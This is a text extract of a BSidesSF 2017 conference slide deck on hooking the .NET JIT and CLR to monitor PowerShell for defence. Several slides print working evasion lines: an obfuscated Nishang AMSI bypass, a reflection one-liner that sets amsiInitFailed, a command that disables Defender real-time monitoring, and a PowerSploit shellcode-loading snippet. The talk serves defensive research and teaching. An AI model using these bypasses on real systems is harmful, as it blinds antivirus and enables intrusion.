SlideShare a Scribd company logo
1 of 47
Download to read offline
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
1
AMANDA ROUSSEAU
.NET HIJACKING to
DEFEND POWERSHELL
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
2
AMANDA ROUSSEAU
MALWARE UNICORN
Senior Malware Researcher @ Endgame, Inc.
Works as a Malware Researcher at Endgame who
focuses on attacker technique application to
dynamic behavior detection both on Windows and
OSX platforms.
@malwareunicorn
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
3
GOALS
Allow PowerShell to be run in a normal environment
Analyze de-obfuscated commands
Remain stealthy in the environment to avoid bypasses
Allows run-time analysis and blocking
Supports PowerShell v2-5
STEALTHY,
RUN-TIME
MONITORING.
What Do We Need?
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
4
CLR PROFILING
JIT COMPILER
HOOKING
IL BINARY
MODIFCATION
C-BASED
METHOD HOOKING
CONTENT OVERVIEW
SOLUTIONS:
.NET OVERVIEW
POWERSHELL
OVERVIEW
ATTACK HISTORY C# DLL INJECTION
FOUNDATIONS:
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
5
TIMELINE
Offensive PowerShell and .NET Attacks
ATTACK HISTORY
2012
2013
2014
2015
2016
Plotus (10/2013)
Power Worm (3/2014)
Syrian Malware (8/2014)
PoweLiks (8/2014)
CoinVault Rasnomware (11/ 2014)
PowerDuke Backdoor (11/2016)
PowerSniff (3/2016) Trojan.Laziok (4/2016)
PowerShell Ransomware (5/2016)
Fileless Backdoor (8/2015)
PS>Attack (12/2015)
Hunter EK (8/2015)
PowerShell Empire (2014)
ConfuserEx (5/2014)
Nishang (8/2012)
PowerSploit (2012)
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
6
PHISHING CAMPAIGNS
Utilizing scripting for
transitioning from the
1st stage of the attack to the
2nd stage payload
PoweLiks
PowerSniff
PowerDuke
Hunter Exploit Kit
Diagram of PoweLiks
1
2
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
7
BAD MALWARE PICKUP LINES
Hey girl, do you like PowerShell?
Because I'd like to stay persistent in
your memory ;)
“
”
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
8
OBFUSCATION
ANALYSIS EVASION
Script Obfuscation
Code Protection Applications:
ConfuserEx
.NET Reactor:
string encryption
anti-decompilation
control flow obfuscation
anti-tampering
Invoke-Obfuscation
CoinVault obfuscated C# Code
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
9
POWERSHELL
EMPIRE
PS>ATTACK
NISHANGPOWERSPLOIT
OFFENSIVE FRAMEWORKS
PowerShell Offensive Frameworks
Useful for automating attacks and post-
exploitation routines
Collection of scripts to automate tasks such as:
• analysis evasion
• remote execution
• privilege escalation
• lateral movement
• exfiltration
Command to reflectively load and execute a PE
binary into memory
Improve and propagate these PowerShell
offensive techniques
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
10
FOUNDATIONS of .NET
C O M M O N L A N G U A G E R U N T I M E ( C L R )
J U S T - I N - T I M E ( J I T )
“ S T R O N G N A M E D ” A S S E M B L I E S
N G E N A S S E M B L I E S
D E C O M P I L I N G . N E T B I N A R I E S
I N T E R M E D I A T E L A N G A G E ( I L )
.NET Framework
Compiler
C#
Code
Managed Assembly
Metadata & IL
codes
CLR
clr.dll / mscorwks.dll
JIT
getJit()
compileMethod()
clrjit.dll/mscorjit.dll
Native/Machine
Code
Referenced
Assemblies
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
11
COMMON LANGUAGE RUNTIME (CLR)
UNMANAGED Vs MANAGED
Handler that manages:
Dependencies
Memory
Exceptions
Synchronization
Managed Assemblies
Metadata & IL Code
No additional information is required
Agnostic across architectures
C# vs IL Code PowerShell ScriptBlock Create
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
12
JUST-IN-TIME COMPILER (JIT)
IL CODE -> NATIVE CODE
Convert and optimize the IL code into
native CPU instructions which is then
stored in dynamic memory
getJit()
compileMethod()
JIT Order of Operations
JITCompiler 1) Metadata Lookup Table
Index of MethodInfo
Memory Block
3) Convert IL to CPU
Instructions & Store in
Memory Block
4) Update Method’s entry
point in the table
5) Jump to memory &
execute
Return Back to Compiler
2) Allocate
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
13
JUST-IN-TIME COMPILER (JIT)
METADATA LOOKUPS
Assembly contains metadata tables
Lists of objects with names, offsets
Method Tokens are unique per module
Assembly Metadata
Metadata Table Description
ModuleDef (0x00) Identity of the module
TypeDef (0x01)
List of class Types and the indexes to the
methods that each class owns
MethodDef (0x02)
Each method entry contains the name,
offset location, flags, and signature.
Assembly (0x20)
Contains information about the current
assembly.
AssemblyRef (0x23)
Contains information about the referenced
assemblies.
MemberRef (0x0A)
Contains each member including methods
referenced by the module.
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
14
JUST-IN-TIME COMPILER (JIT)
TRAVERSING THE METADATA
Download JIT .PDB
Identify function offsets for hooking
Need to traverse the MethodDesc Tables to
update the information for methods
JIT Compiler Function Offsets
D971C845B82D877107906335EFF1824C#32_2_0_50727_8670
2621605;MethodDesc::s_pfnReset
55606;MethodDesc::s_pfnIsGenericMethodDefinition
60512;MethodDesc::s_pfnGetNumGenericMethodArgs
762227;MethodDesc::s_pfnStripMethodInstantiation
60894;MethodDesc::s_pfnHasClassOrMethodInstantiation
160213;MethodDesc::s_pfnContainsGenericVariables
1179150;MethodDesc::s_pfnGetWrappedMethodDesc
56056;MethodDesc::s_pfnGetDomain
1020785;MethodDesc::s_pfnGetLoaderModule
4801122;LoadedMethodDescIterator::s_pfnConstructor
0;LoadedMethodDescIterator::s_pfnConstructor_v45
0;LoadedMethodDescIterator::s_pfnConstructor_v46
4950262;LoadedMethodDescIterator::s_pfnStart
0;LoadedMethodDescIterator::s_pfnNext_v4
4950393;LoadedMethodDescIterator::s_pfnNext_v2
4950297;LoadedMethodDescIterator::s_pfnCurrent_F43F7
0AF86B02890FCF95ED91EA373BB#32_4_0_30319_17929
_1BC333D76444B51B01A74B7447ADBC9E#64_2_0_50727_4963
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
15
MICROSOFT INTERMEDIATE LANGUAGE (MSIL)
CPU agnostic machine language that
operates on a slightly higher level
CLI instruction set
standard from ECMA-335
Address is a 4-byte value called a token
Relevant only to assembly
JIT Optimizes the IL instructions
Extraneous instructions such as NOP codes will be
removed to improve performance
IL Instructions
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
16
MICROSOFT INTERMEDIATE LANGUAGE (MSIL)
CPU agnostic machine language that
operates on a slightly higher level
Pushed and popped on the stack
.maxstack refers the stack slot size needed for arguments
and local variables
After JIT
Can acquire the virtual memory address of the method.
Using GetFunctionPointer.
.method /*06002149*/ public hidebysig static
class
System.Management.Automation.ScriptBlock/*02000316*/
Create(string script) cil managed
// SIG: 00 01 12 8C 58 0E
{
// Method begins at RVA 0xa9499
// Code size 12 (0xc)
.maxstack 8
IL_0000: /*73|(06)001FDA*/ newobj instance
void
System.Management.Automation.Parser/*020002F7*/::.ctor
() /*06001FDA*/
IL_0005: /*02|*/ ldarg.0
IL_0006: /*28|(06)00214A*/ call class
System.Management.Automation.ScriptBlock/*02000316*/
System.Management.Automation.ScriptBlock/*02000316*/::
Create(class
System.Management.Automation.Parser/*020002F7*/,
string) /*0600214A*/
IL_000b: /*2A|*/ ret
} // end of method ScriptBlock::Create
PowerShell ScriptBlock IL Instructions
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
17
DECOMPILING .NET BINARIES
Can easily be
decompiled & disassembled
Tools rely on disassembling the IL code
and reconstructing the C# code based on
the metadata definition
original function names
function offsets
membership to parent classes
Tools
dotPeek
dnSpy
ILspy
De4dot
ILAsm.exe & ILDasm.exe
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
18
DECOMPILING .NET BINARIES
DotPeek
https://www.jetbrains.com/decompiler/
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
19
STRONG NAMED ASSEMBLIES
Fixes version dependency
from DLL Hell
Uniquely identified assemblies signed with
a publisher’s public/private key pair
Public key is embedded into the header of the assembly
Intended to tamper-resistant
Global assembly cache (GAC)
.NET tool gacutil.exe to install assembly
Weak assemblies searched by its file name and
executable extension with in the containing folder.
Public Key Token Reference for Mscorlib
GAC Locations
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
20
STRONG NAMED ASSEMBLIES
BYPASSING ANTI-TAMPERING
.NET Framework version 3.5 Service Pack 1
Strong-name signatures are not
validated when an assembly is loaded
DISABLING STRONG NAME SIGNATURE VERIFICATION
Arch
Windows Registry Key to Disable for All
Applications
32
HKEY_LOCAL_MACHINESOFTWAREMicrosoft.NETFra
meworkAllowStrongNameBypass
64
HKEY_LOCAL_MACHINESOFTWAREMicrosoft.NETFra
meworkAllowStrongNameBypass
HKEY_LOCAL_MACHINESOFTWAREWow6432NodeM
icrosoft.NETFrameworkAllowStrongNameBypass
C# Application Configuration for One Application
<configuration>
<runtime>
<bypassTrustedAppStrongNames enabled="false" />
</runtime>
</configuration>
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
21
NGEN ASSEMBLIES
BYPASSES JIT COMPILATION
Native Images are precompiled native
code PE binaries
Install & Uninstall
Ngen.exe
Contains both IL & Machine Code
Code will load native images before IL
assemblies
Native Images
C:WindowsassemblyNativeImages_v2.0.50727_32
C:WindowsassemblyNativeImages_v2.0.50727_64
C:WindowsassemblyNativeImages_v4.0.30319_32
C:WindowsassemblyNativeImages_v4.0.30319_64
System.Management.Automation.ni.dll
System.Management.Automation.dll
IL Assembly
Native Image
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
22
C# Programs
POWERSHELL
A POWERFUL SCRIPTING
LANGUAGE
Directly access globally cached .NET
assemblies
Reflectively load .NET assemblies which
can load C-based Windows libraries
Run unsigned scripts locally
Run scripts that are interpreted and
executed as base64 strings.
System.Management.Automation.dll
PowerShell.exe
.NET FRAMEWORK
CLRJIT
Machine Code
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
23
POWERSHELL
All string or stream based scripts are
parsed and compiled within a ScriptBlock.
PowerShell source code differs in each
version
PowerShell ScriptBlock Create
public static ScriptBlock Create(string script)
{
return ScriptBlock.Create(new Parser(), script);
}
PS Version Released Default Windows Versions .NET CLR Versions
1.0 2006 WinServer 2008 2.0.50727
2.0 2009
Win7
WinServer 2008 R2
2.0.50727
3.0 2012
Win8
WinServer 2012
4.0.30319
4.5+
4.0 2013
Wuin8.1
WinServer 2012 R2
4.0.30319
4.5+
5.0 2014 Win10 4.5+
SCRIPTBLOCKS
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
24
BAD MALWARE PICKUP LINES
Hey girl, do you like PowerShell?
I can tell you do by the
invoked expression I gave you ;)
“
”
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
25
POWERSHELL
Runspaces allows C# code to invoke
PowerShell commands
PowerSploit SharpPick ->
Invoke-Expression and Invoke-
Command that will execute piped
string input or a ScriptBlock in the
local or remote shell contexts
RUNSPACES, INVOKE, WIN API
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
26
POWERSHELL
.NET assemblies and can
reflectively load C-based
Windows DLL
RUNSPACES, INVOKE, WIN API
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And
$_.Location.Split('')[-1].Equals('System.dll') }
$UnsafeNativeMethods =
$SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress
methods
$GetModuleHandle =
$UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress =
$UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object
System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
PowerSploit: Invoke-Shellcode
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
27
AMSI
PowerShell v5 Anti-Malware
Scan Interface
Windows 10
Allows Windows Defender and third
party Anti-virus solutions access the
script code
Provides:
Memory and Stream scanning
De-obfuscated plain code
Detect C# .NET usage of the PowerShell assembly
PowerShell.exe
System.Management.Automation.dll
GetCodeToInvoke()
Compile()
PerformSecurityCheck()
ScanContent()
AMSI.dll
AmsiScanString()
COM API Interface
RPC
Windows Defender
MPCLIENT.dll
Anti Malware Scan Interface
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
28
AMSI
SUSPICIOUS METHODS GetMethod
GetMethods
GetNestedType
GetNestedTypes
GetProperties
GetProperty
InvokeMember
GetDelegateForFunctionPointer
kernel32
…
Anti Malware Scan Interface
System.Management.
Automation.ScriptBlock.
CheckSuspiciousContent
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
29
AMSI BYPASSES
SIGNATURE BYPASS
Windows Defender relies on known
variable names to block a malicious script
String obfuscation on the variable name
$code = @" Sv ('R9'+'HYt') ( " )
)93]rahC[]gnirtS[,'UCS'(ecalpeR.)63]rahC[]gnirtS[,'aEm'(ecalpe
R.)')eurt'+'aEm,llun'+'aEm(eulaVt'+'eS'+'.)UCScit'+'atS,ci'+'l
buPnoNUCS'+',U'+'CSdeli'+'aFt'+'inI'+'is'+'maUCS('+'dle'+'iF'+
'teG'+'.'+')'+'UCSslitU'+'is'+'mA.noitamotu'+'A.tn'+'em'+'egan
aM.'+'m'+'e'+'t'+'sySUCS(epy'+'TteG.ylbmessA'+'.]'+'feR['(
(noisserpxE-ekovnI" ); Invoke-Expression( -Join ( VaRIAbLe
('R9'+'hyT') -val )[ - 1..- (( VaRIAbLe ('R9'+'hyT') -val
).Length)])"@
NISHANG AMSI BYPASS
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
30
AMSI BYPASSES
DISABLING AMSI
AMSI provides a command to disable the
real-time monitoring for Windows
Defender
DLL Load Hijacking to replace ASMI.dll
p0wnshell was trying to load the AMSI.dll in the
local executing directory
Place a fake copy of the ASMI.dll in this local
directory
Disable AMSI using Set-MpPreference
PS C:> Set-MpPreference -DisableRealtimeMonitoring
$true
Fake AMSI.DLL
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
31
AMSI BYPASSES
ASSEMBLY FIELD MODIFICATION
Using .NET reflection, a user can modify
values within a class.
When the AmsiUtils class is loaded, the
class initialization result can be modified
to appear as failed by setting it to True.
PowerShell to Disable AMSI by Setting AmsiInitFailed
AMSI Integration code
[Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils
').GetField('amsiInitFailed','NonPublic,Static').SetValue($nul
l,$true)
int AMSIIntegration()
{
HAMSICONTEXT amsiContext;
HRESULT hres;
hres = CoInitializeEx(0, COINIT_MULTITHREADED);
hres = AmsiInitialize(L"Win32Project2", &amsiContext);
if (FAILED(hres))
{
std::cout << "AmsiInitialize fails" << std::endl;
CoUninitialize();
return -1; // Program has failed.
}
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
32
C# DLL INJECTION
.NET ROOTKITS BINARY MODIFICATION
CLR PROFILING
JIT COMPILER HOOKING
C-BASED METHOD HOOKING
METHODS AND SOLUTIONS
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
33
C# DLL INJECTION
To run an injected C# assembly DLL, it
must be first wrapped in a C-based
wrapper DLL
C# DLL does not have a DllMain()
Determine the version of CLR
Host process will use the environment’s .NET version
unless forced to an older version
Will need to be a payload compiled for different major
version of .NET (2.0,3.5,4.0,4.5, and 4.6).
Target Host Process
C#DLL
Wrapper DLL
JIT Compiler
Injected
DLL Injector or Filter Driver
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
34
C# DLL INJECTION
Load mscoree.dll CLR library
Load the C# payload into the host process’s
C# AppDomain
Using a precompiled C# payload and adding it as an
embedded resource in the parent C-based DLL
CoCreateInstance to access the CLR runtime
environment of the host process
Grab the AppDomain and load the assembly as a
bytearray stored in the resource section
CoInitializeEx(0, COINIT_MULTITHREADED);
ICorRuntimeHost* pICorRuntimeHost = 0;
HRESULT st = CoCreateInstance(CLSID_CorRuntimeHost, 0,
CLSCTX_ALL, IID_ICorRuntimeHost,
(void**)&pICorRuntimeHost);
if (!pICorRuntimeHost) {
return 1;
}
HDOMAINENUM hEnum = NULL;
pICorRuntimeHost->EnumDomains(&hEnum);
if (!hEnum) {
return 1;
}
IUnknown* pUunk = 0;
st = pICorRuntimeHost->NextDomain(hEnum, &pUunk);
if (!pUunk) {
return 1;
}
CComPtr<mscorlib::_AppDomain> pAppDomain = NULL;
st = pUunk->QueryInterface( __uuidof(
CComPtr<mscorlib::_AppDomain>), (VOID**)&pAppDomain);
if (!pAppDomain) {
return 1;
}
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
35
NET ROOTKITS BINARY MODIFICATION
MODIFYING GAC ASSEMBLY
Metula’s BlackHat talk about developing
.NET framework rootkits
1. Targeting a GAC assembly to decompile
into its IL code
2. Modify the IL code by injecting functions
3. Recompiling the IL
4. Force the framework to use the modified
DLL
IL Codes
Disassembles using
ILDasm
Insert Loader
Function
Reassemble using
ILAsm
C# Compiled
Assembly DLL
%SystemRoot%Microsoft.NETAssemblyGAC_MSILSystem.M
anagement.Automation<version>System.Management.Auto
mation.dll
Overwrite Original DLL
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
36
NET ROOTKITS BINARY MODIFICATION
Avoid Human Error
.NET-Sploit
dotNetHookLibrary
Mono.Cecil
Load existing assemblies statically or dynamically
to modify the IL code to insert new code for you
Used by both developers and gaming hackers
AssemblyDef
ModuleDefModuleDef
FieldDefTypeDef
PropertyDefMethodDef
SetMethod GetMethod
Methods
Constructors
Properties
Fields
Modules
MainModule
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
37
CLR PROFILING
CLR DYNAMIC HOOK INJECTION
.NET framework provides its own CLR
performance monitoring API to evaluate
the runtime performance of JITed IL code
Allows tighter control over the CLR
JIT environment monitors the execution
Any time a module, assembly, or method loads it will
track that event
Environment
Controller
& Event receiver
EXE
EXE
DLL
Register CLR Profiler
C#DLL
Target Host
Process
Insert & Control the
CLR environment
Hooking
Class
Reflective
Loading
CLR Profiler
CLR
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
38
SETTING IL HOOK
Target, Hooked, and Trampoline
Target Method
Hooked Method
Trampoline Method
Entry Point
Return Value
struct injectorTranpoline {
BYTE methodHeader; // TINY format header
BYTE ilCall01;
DWORD refTranpoline;
BYTE ilRet;
injectorTranpoline(mdMethodDef tkClrHook)
{
ilCall01 = 0x28;
refTranpoline = tkClrHook;
ilRet = 0x2A;
methodHeader =
CorILMethod_TinyFormat|((sizeof(injectorTranpoline)-
1)<<(CorILMethod_FormatShift-1));
}
};
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
39
JIT COMPILER HOOKING
DLL INJECTION & HOOKING
Modify methods on the fly so that a
developer can test inputs for methods
without being invasive
1. An injector process will inject the unmanaged wrapper DLL
into the target process.
2. The wrapper DLL will determine the version of CLR and JIT to
acquire the method offsets for hooking.
3. Using a C-based hooking library called EasyHook the JIT’s
compileMethod functions installs a hook to a prototype of
compileMethod.
4. Now load the C# hooking library into the AppDomain of the
target process.
5. Update the IL code to install the trampoline method to the C#
hooked prototype method.
Target Host Process
C#DLL
DLL
Wrapper DLL
EasyHook
Safe Hooking Library
JIT Compiler
Injected
DLL Injector or Filter Driver
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
40
JIT COMPILER HOOKING
Hooking JIT from
compileMethod()
//Set Jit
p_getJit = (ULONG_PTR *(__stdcall *)()) GetProcAddress(g_hJitModule, "getJit");
if (p_getJit)
{
ICorJitCompiler::Instance = (ICorJitCompiler *)*((ULONG_PTR *)p_getJit());
if (ICorJitCompiler::Instance)
{
DWORD OldProtect;
VirtualProtect(ICorJitCompiler::Instance, sizeof(ULONG_PTR), PAGE_READWRITE,
&OldProtect);
compileMethodcache = ICorJitCompiler::Instance->compileMethodintercept;
ICorJitCompiler::Instance->compileMethodintercept =
&ICorJitCompiler::compileMethod;
VirtualProtect(ICorJitCompiler::Instance, sizeof(ULONG_PTR), OldProtect,
&OldProtect);
//Set Hook
ICorJitCompiler::PFN_compileMethod pfnCompileMethod =
&ICorJitCompiler::compileMethod;
LPVOID * pAddr = (LPVOID*)&pfnCompileMethod;
NTSTATUS ntStatus = LhInstallHook(
(PVOID&)ICorJitCompiler::Instance->compileMethodintercept,
*pAddr,
NULL,
&s_hHookCompileMethod);
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
41
JIT COMPILER HOOKING
0.13164930[2888] Microsoft.PowerShell.ToStringCodeMethods
0.13168100[2888] Microsoft.PowerShell.AdapterCodeMethods
0.13171920[2888] System.Management.Automation.SettingValueExceptionEventArgs
0.13174960[2888] System.Management.Automation.GettingValueExceptionEventArgs
0.13178501[2888] System.Management.Automation.PSObjectPropertyDescriptor
0.13181540[2888] System.Management.Automation.PSObjectTypeDescriptor
0.13184530[2888] System.Management.Automation.PSObjectTypeDescriptionProvider
0.13187569[2888] System.Management.Automation.Runspaces.ConsolidatedString
0.13192080[2888] System.Management.Automation.Runspaces.NodeCardinality
0.13196360[2888] System.Management.Automation.Runspaces.Node
0.13201410[2888] System.Management.Automation.Runspaces.Node+NodeMethod
0.13204980[2888] System.Management.Automation.Runspaces.LoadContext
0.13213710[2888] System.Management.Automation.Runspaces.TypeTableLoadException
0.13217470[2888] System.Management.Automation.Runspaces.TypeData
0.13226460[2888] System.Management.Automation.Runspaces.TypeMemberData
0.13230330[2888] System.Management.Automation.Runspaces.NotePropertyData
0.13233720[2888] System.Management.Automation.Runspaces.AliasPropertyData
0.13237029[2888] System.Management.Automation.Runspaces.ScriptPropertyData
0.13240279[2888] System.Management.Automation.Runspaces.CodePropertyData
0.13243540[2888] System.Management.Automation.Runspaces.ScriptMethodData
0.13246840[2888] System.Management.Automation.Runspaces.CodeMethodData
0.13250659[2888] System.Management.Automation.Runspaces.PropertySetData
0.13254040[2888] System.Management.Automation.Runspaces.TypeTable
0.13258070[2888] System.Management.Automation.ExtendedTypeSystemException
0.13261370[2888] System.Management.Automation.MethodException
PowerShell Eventing From Hooking JIT
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
42
C-BASED METHOD HOOKING
Machine Code Manipulation
Topher’s DEFCON talk illustrated the
manipulation of .NET machine code in
memory locations that were R-W-X after
IL JITed
Tool GreyStorm used to inject shellcode
into memory blocks of methods
.NET Framework
Managed Assembly
Metadata & IL
codes
CLR
clr.dll /
mscorwks.dll
JIT
getJit()
compileMethod()
clrjit.dll/mscorjit.dll
Native/Machine
Code
Hook is Placed
on this Level
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
43
C-BASED METHOD HOOKING
Machine Code Manipulation
Use pointer reflection
Create your traditional ASM trampoline
code in a byte array and overwrite the
method
Need to keep the original method code
Tricky to handle method arguments
Prototype method needs to be accessible
MethodInfo commandCtor =
targetType.GetMethod("ParseScriptBlock");
System.Runtime.CompilerServices.RuntimeHelpers
.PrepareMethod(commandCtor.MethodHandle);
IntPtr commandCtorPtr =
commandCtor.MethodHandle.GetFunctionPointer();
PrepareMethod & GetFunctionPointer
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
44
RESULTS
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
45
SOLUTION RESULTS COMPARISON
Requirements
IL Binary
Modification
CLR Profiler
Hooking
JIT Hooking
Machine Code
Manipulation
Runtime Analysis YES YES YES YES
Run on PowerShell v2+ YES YES YES YES
Stealth vs AMSI YES YES YES YES
Any System Artifacts? YES YES NO NO
NGEN to Be Uninstalled YES YES YES YES
Requires Signature
Validation
YES NO NO NO
Difficulty
High
(If Manual)
Low Medium High
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
46
SOLUTION RESULTS COMPARISON
Requirements
IL Binary
Modification
CLR Profiler
Hooking
JIT Hooking
Machine Code
Manipulation
Runtime Analysis YES YES YES YES
Run on PowerShell v2+ YES YES YES YES
Stealth vs AMSI YES YES YES YES
Any System Artifacts? YES YES NO NO
NGEN to Be Uninstalled YES YES YES YES
Requires Signature
Validation
YES NO NO NO
Difficulty
High
(If Manual)
Low Medium High
3 12
BSidesSF 2017 | .NET Hijacking to Defend PowerShell
47
TAKE AWAYS
INTERCEPT THE ACTUAL POWERSHELL METHOD
STAY STEALTHY
DO IT RIGHT, DON’T CRASH POWERSHELL
WELCOME TO .NET HELL
amanda.secured.org

More Related Content

What's hot

Trusted Third Parties are NOT Trust Worthy!
Trusted Third Parties are NOT Trust Worthy!Trusted Third Parties are NOT Trust Worthy!
Trusted Third Parties are NOT Trust Worthy!nettitude_labs
 
DBI-Assisted Android Application Reverse Engineering
DBI-Assisted Android Application Reverse EngineeringDBI-Assisted Android Application Reverse Engineering
DBI-Assisted Android Application Reverse EngineeringSahil Dhar
 
Meet Magento IT 2021 - Principles & Advantages of Hexagonal Architecture on M...
Meet Magento IT 2021 - Principles & Advantages of Hexagonal Architecture on M...Meet Magento IT 2021 - Principles & Advantages of Hexagonal Architecture on M...
Meet Magento IT 2021 - Principles & Advantages of Hexagonal Architecture on M...Alessandro Ronchi
 
Identifying Hotspots in the PostgreSQL Build Process
Identifying Hotspots in the PostgreSQL Build ProcessIdentifying Hotspots in the PostgreSQL Build Process
Identifying Hotspots in the PostgreSQL Build ProcessShane McIntosh
 
Automated Infrastructure Testing
Automated Infrastructure TestingAutomated Infrastructure Testing
Automated Infrastructure TestingRanjib Dey
 
Pentesting Android Apps using Frida (Beginners)
Pentesting Android Apps using Frida (Beginners)Pentesting Android Apps using Frida (Beginners)
Pentesting Android Apps using Frida (Beginners)Chandrapal Badshah
 
The Impact of Code Review Coverage and Participation on Software Quality
The Impact of Code Review Coverage and Participation on Software QualityThe Impact of Code Review Coverage and Participation on Software Quality
The Impact of Code Review Coverage and Participation on Software QualityShane McIntosh
 
Open source security tools for Kubernetes.
Open source security tools for Kubernetes.Open source security tools for Kubernetes.
Open source security tools for Kubernetes.Michael Ducy
 
Tracing Software Build Processes to Uncover License Compliance Inconsistencie...
Tracing Software Build Processes to Uncover License Compliance Inconsistencie...Tracing Software Build Processes to Uncover License Compliance Inconsistencie...
Tracing Software Build Processes to Uncover License Compliance Inconsistencie...Shane McIntosh
 
Tracing Software Build Processes to Uncover License Compliance Inconsistencies
Tracing Software Build Processes to Uncover License Compliance InconsistenciesTracing Software Build Processes to Uncover License Compliance Inconsistencies
Tracing Software Build Processes to Uncover License Compliance InconsistenciesShane McIntosh
 
Null 14 may_lesser_known_attacks_by_ninadsarang
Null 14 may_lesser_known_attacks_by_ninadsarangNull 14 may_lesser_known_attacks_by_ninadsarang
Null 14 may_lesser_known_attacks_by_ninadsarangNinad Sarang
 
Network Security Open Source Software Developer Certification
Network Security Open Source Software Developer CertificationNetwork Security Open Source Software Developer Certification
Network Security Open Source Software Developer CertificationVskills
 
Authentication Without Authentication
Authentication Without AuthenticationAuthentication Without Authentication
Authentication Without AuthenticationSoluto
 
DevSecOps for Developers, How To Start (ETC 2020)
DevSecOps for Developers, How To Start (ETC 2020)DevSecOps for Developers, How To Start (ETC 2020)
DevSecOps for Developers, How To Start (ETC 2020)Patricia Aas
 
[CB17] Trueseeing: Effective Dataflow Analysis over Dalvik Opcodes
[CB17] Trueseeing: Effective Dataflow Analysis over Dalvik Opcodes[CB17] Trueseeing: Effective Dataflow Analysis over Dalvik Opcodes
[CB17] Trueseeing: Effective Dataflow Analysis over Dalvik OpcodesCODE BLUE
 
Статический анализ кода в контексте SSDL
Статический анализ кода в контексте SSDLСтатический анализ кода в контексте SSDL
Статический анализ кода в контексте SSDLPositive Hack Days
 
Isolating GPU Access in its Own Process
Isolating GPU Access in its Own ProcessIsolating GPU Access in its Own Process
Isolating GPU Access in its Own ProcessPatricia Aas
 
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015CODE BLUE
 

What's hot (20)

Trusted Third Parties are NOT Trust Worthy!
Trusted Third Parties are NOT Trust Worthy!Trusted Third Parties are NOT Trust Worthy!
Trusted Third Parties are NOT Trust Worthy!
 
DBI-Assisted Android Application Reverse Engineering
DBI-Assisted Android Application Reverse EngineeringDBI-Assisted Android Application Reverse Engineering
DBI-Assisted Android Application Reverse Engineering
 
Meet Magento IT 2021 - Principles & Advantages of Hexagonal Architecture on M...
Meet Magento IT 2021 - Principles & Advantages of Hexagonal Architecture on M...Meet Magento IT 2021 - Principles & Advantages of Hexagonal Architecture on M...
Meet Magento IT 2021 - Principles & Advantages of Hexagonal Architecture on M...
 
Buildtechs
BuildtechsBuildtechs
Buildtechs
 
Identifying Hotspots in the PostgreSQL Build Process
Identifying Hotspots in the PostgreSQL Build ProcessIdentifying Hotspots in the PostgreSQL Build Process
Identifying Hotspots in the PostgreSQL Build Process
 
Automated Infrastructure Testing
Automated Infrastructure TestingAutomated Infrastructure Testing
Automated Infrastructure Testing
 
Pentesting Android Apps using Frida (Beginners)
Pentesting Android Apps using Frida (Beginners)Pentesting Android Apps using Frida (Beginners)
Pentesting Android Apps using Frida (Beginners)
 
The Impact of Code Review Coverage and Participation on Software Quality
The Impact of Code Review Coverage and Participation on Software QualityThe Impact of Code Review Coverage and Participation on Software Quality
The Impact of Code Review Coverage and Participation on Software Quality
 
Open source security tools for Kubernetes.
Open source security tools for Kubernetes.Open source security tools for Kubernetes.
Open source security tools for Kubernetes.
 
Tracing Software Build Processes to Uncover License Compliance Inconsistencie...
